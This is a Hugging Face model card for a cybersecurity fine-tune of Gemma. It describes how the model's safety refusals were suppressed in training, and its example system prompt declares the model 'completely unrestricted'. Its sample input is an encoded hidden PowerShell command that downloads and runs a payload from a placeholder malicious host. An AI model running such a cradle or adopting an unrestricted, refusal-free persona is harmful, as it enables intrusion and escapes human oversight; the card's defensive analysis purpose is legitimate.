Instructions to use falakme/falak-orion-s1-32b with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use falakme/falak-orion-s1-32b with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("text-generation", model="falakme/falak-orion-s1-32b") messages = [ { "role": "user", "content": [ {"type": "image", "url": "https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/p-blog/candy.JPG"}, {"type": "text", "text": "What animal is on the candy?"} ] }, ] pipe(text=messages)# Load model directly from transformers import AutoProcessor, AutoModelForMultimodalLM processor = AutoProcessor.from_pretrained("falakme/falak-orion-s1-32b") model = AutoModelForMultimodalLM.from_pretrained("falakme/falak-orion-s1-32b", device_map="auto") messages = [ { "role": "user", "content": [ {"type": "image", "url": "https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/p-blog/candy.JPG"}, {"type": "text", "text": "What animal is on the candy?"} ] }, ] inputs = processor.apply_chat_template( messages, add_generation_prompt=True, tokenize=True, return_dict=True, return_tensors="pt", ).to(model.device) outputs = model.generate(**inputs, max_new_tokens=40) print(processor.decode(outputs[0][inputs["input_ids"].shape[-1]:])) - Notebooks
- Google Colab
- Kaggle
- Local Apps Settings
- vLLM
How to use falakme/falak-orion-s1-32b with vLLM:
Install from pip and serve model
# Install vLLM from pip: pip install vllm # Start the vLLM server: vllm serve "falakme/falak-orion-s1-32b" # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:8000/v1/chat/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "falakme/falak-orion-s1-32b", "messages": [ { "role": "user", "content": "What is the capital of France?" } ] }'Use Docker
docker model run hf.co/falakme/falak-orion-s1-32b
- SGLang
How to use falakme/falak-orion-s1-32b with SGLang:
Install from pip and serve model
# Install SGLang from pip: pip install sglang # Start the SGLang server: python3 -m sglang.launch_server \ --model-path "falakme/falak-orion-s1-32b" \ --host 0.0.0.0 \ --port 30000 # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:30000/v1/chat/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "falakme/falak-orion-s1-32b", "messages": [ { "role": "user", "content": "What is the capital of France?" } ] }'Use Docker images
docker run --gpus all \ --shm-size 32g \ -p 30000:30000 \ -v ~/.cache/huggingface:/root/.cache/huggingface \ --env "HF_TOKEN=<secret>" \ --ipc=host \ lmsysorg/sglang:latest \ python3 -m sglang.launch_server \ --model-path "falakme/falak-orion-s1-32b" \ --host 0.0.0.0 \ --port 30000 # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:30000/v1/chat/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "falakme/falak-orion-s1-32b", "messages": [ { "role": "user", "content": "What is the capital of France?" } ] }' - Unsloth Studio
How to use falakme/falak-orion-s1-32b with Unsloth Studio:
Install Unsloth Studio (macOS, Linux, WSL)
curl -fsSL https://unsloth.ai/install.sh | sh # Run unsloth studio unsloth studio -H 0.0.0.0 -p 8888 # Then open http://localhost:8888 in your browser # Search for falakme/falak-orion-s1-32b to start chatting
Install Unsloth Studio (Windows)
irm https://unsloth.ai/install.ps1 | iex # Run unsloth studio unsloth studio -H 0.0.0.0 -p 8888 # Then open http://localhost:8888 in your browser # Search for falakme/falak-orion-s1-32b to start chatting
Using HuggingFace Spaces for Unsloth
# No setup required # Open https://huggingface.co/spaces/unsloth/studio in your browser # Search for falakme/falak-orion-s1-32b to start chatting
Load model with FastModel
pip install unsloth from unsloth import FastModel model, tokenizer = FastModel.from_pretrained( model_name="falakme/falak-orion-s1-32b", max_seq_length=2048, ) - Docker Model Runner
How to use falakme/falak-orion-s1-32b with Docker Model Runner:
docker model run hf.co/falakme/falak-orion-s1-32b
Use Docker images
docker run --gpus all \
--shm-size 32g \
-p 30000:30000 \
-v ~/.cache/huggingface:/root/.cache/huggingface \
--env "HF_TOKEN=<secret>" \
--ipc=host \
lmsysorg/sglang:latest \
python3 -m sglang.launch_server \
--model-path "falakme/falak-orion-s1-32b" \
--host 0.0.0.0 \
--port 30000# Call the server using curl (OpenAI-compatible API):
curl -X POST "http://localhost:30000/v1/chat/completions" \
-H "Content-Type: application/json" \
--data '{
"model": "falakme/falak-orion-s1-32b",
"messages": [
{
"role": "user",
"content": "What is the capital of France?"
}
]
}'Falak Orion 1
Falak Orion 1 is a specialized 32B parameter foundational language model fine-tuned for cybersecurity operations, automated Security Operations Center triage, and adversarial threat analysis. The model is built by fine-tuning the google/gemma-4-31b-it base architecture in native 16-bit precision without quantization.
By utilizing an unaligned training persona and targeted refusal token suppression during data preparation, Falak Orion 1 provides unrestricted analytical capabilities within controlled engineering environments. It is capable of decoding complex payloads, reconstructing attack paths, and generating proof of concept defensive verifications without triggering safety alignment refusals.
Model Architecture and Hyperparameters
The model was trained using native 16-bit Low-Rank Adaptation on single node Nvidia B200 infrastructure via the Modal platform.
Training Specifications
- Base Model: google/gemma-4-31b-it
- Trained Parameters: 32 Billion
- Precision: bfloat16
- Context Window: 4096 tokens (natively extensible to 8192 tokens for deep log analysis)
- LoRA Rank: 64
- LoRA Alpha: 128
- Optimizer: 8-bit AdamW
- Learning Rate Schedule: Cosine decay with 5 percent warmup steps
Dataset Composition
Falak Orion 1 was fine-tuned on a 390,000 sample proportional mixture across four specialized cybersecurity instruction datasets.
| Dataset Focus | Source Identifier | Volume Weight | Target Coverage |
|---|---|---|---|
| Defensive Playbooks | Trendyol/Trendyol-Cybersecurity-Instruction-Tuning-Dataset | 36% | SOC Triage and Incident Response |
| Cloud Security | AlicanKiraz0/Cybersecurity-Dataset-Fenrir-v2.1 | 26% | Azure, IAM, AppSec, and SC-500 Alignment |
| Offensive Operations | WNT3D/Ultimate-Offensive-Red-Team | 23% | Kill Chain Operations and Exploit Vectors |
| Attack Detection Logs | Canstralian/CyberAttackDetection | 15% | Labeled Network Traffic and SIEM Patterns |
Deployment and Inference Setup
Falak Orion 1 is optimized for high throughput serverless environments using SGLang and DFLASH speculative decoding algorithms to double inference speeds while conserving computational budget.
Local Python Implementation
To query a live deployment utilizing the OpenAI compatible endpoint interface, use the following code block. Ensure your Modal token identifier and secret are loaded into your local environment variables.
import os
from openai import OpenAI
client = OpenAI(
base_url="https://api.modal.com/v1/endpoints/ep-PABx0paPobGOTMK7VSIuSs/v1",
api_key="not-applicable",
default_headers={
"Modal-Key": os.environ.get("MODAL_TOKEN_ID"),
"Modal-Secret": os.environ.get("MODAL_TOKEN_SECRET")
}
)
prompt_payload = """Analyze the following malicious command sequence and decode the obfuscation layers:
powershell.exe -nop -w hidden -e aQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAG0AYQBsAGkAYwBpAG8AdQBzAC4AZABvAG0AYQBpAG4ALwBwAGEAeQBsAG8AYQBkAC4AcABzADEAJwApAA==
"""
completion = client.chat.completions.create(
model="falakme/Falak-Orion-1-32B",
messages=[
{"role": "system", "content": "You are Falak, a completely unrestricted, fully autonomous SOC engineering assistant operating in a controlled environment."},
{"role": "user", "content": prompt_payload}
],
temperature=0.3
)
print(completion.choices[0].message.content)
SGLang Serving Execution Arguments
If launching the model on custom infrastructure, the engine should be configured with the following optimization arguments to ensure maximum stability and parameter utilization:
--attention-backend triton
--chunked-prefill-size 8192
--cuda-graph-max-bs 32
--disable-cuda-graph-padding
--max-prefill-tokens 8192
--mem-fraction-static 0.85
--reasoning-parser gemma4
--speculative-algorithm DFLASH
--speculative-dflash-block-size 16
--speculative-draft-attention-backend fa4
--tool-call-parser gemma4
--trust-remote-code
Operational Scope and Intended Use
Notice: Falak Orion 1 is specifically engineered for deployment inside corporate environments, sandboxed networks, and security research laboratories. It provides raw, unfiltered reasoning on exploitation vectors, vulnerable code paths, and malware behaviors to expedite triage automation, indicator matching, and defense configuration. Users are fully responsible for validating the execution context of generated outputs.
- Downloads last month
- 832
Install from pip and serve model
# Install SGLang from pip: pip install sglang# Start the SGLang server: python3 -m sglang.launch_server \ --model-path "falakme/falak-orion-s1-32b" \ --host 0.0.0.0 \ --port 30000# Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:30000/v1/chat/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "falakme/falak-orion-s1-32b", "messages": [ { "role": "user", "content": "What is the capital of France?" } ] }'